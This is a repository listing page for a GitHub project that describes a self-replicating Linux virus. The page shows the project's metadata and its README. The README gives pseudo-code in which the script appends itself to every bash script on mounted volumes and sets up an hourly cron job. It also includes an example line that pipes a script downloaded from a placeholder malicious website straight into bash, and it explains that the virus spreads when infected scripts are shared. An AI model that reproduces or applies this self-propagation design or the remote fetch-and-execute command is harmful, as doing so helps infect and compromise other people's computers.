https://github.com/zeroby0/virus
Self replicating virus for Linux. Using cronjob and bash scripts
https://github.com/zeroby0/virus
Last synced: 10 months ago
JSON representation
Self replicating virus for Linux. Using cronjob and bash scripts
- Host: GitHub
- URL: https://github.com/zeroby0/virus
- Owner: zeroby0
- License: mit
- Created: 2017-12-01T16:56:00.000Z (over 8 years ago)
- Default Branch: master
- Last Pushed: 2018-07-01T15:01:02.000Z (almost 8 years ago)
- Last Synced: 2025-04-10T17:16:27.381Z (about 1 year ago)
- Language: Shell
- Homepage:
- Size: 5.86 KB
- Stars: 5
- Watchers: 2
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
### Over simplified Psuedo-code
```
for $volume in '/volumes':
for $bashFile in $volume.getAllBashFiles():
$bashFile.append(thisScript)
cronJob.add(thisScript, OneHour)
# Add malicious code below this
# example:
bash <(curl -s http://myMaliciouswebsite.com/notahackscript.sh)
```
This script appends itself to all bash-scripts in every volume. So whenever that bash script is run, our code is also run.
When the affected scripts are shared to other computers, our virus is spread.
https://www.quora.com/How-can-I-make-a-virus-from-Linux/answer/Aravind-Reddy-V
A more tedious psuedo-code in `virus.sh` file.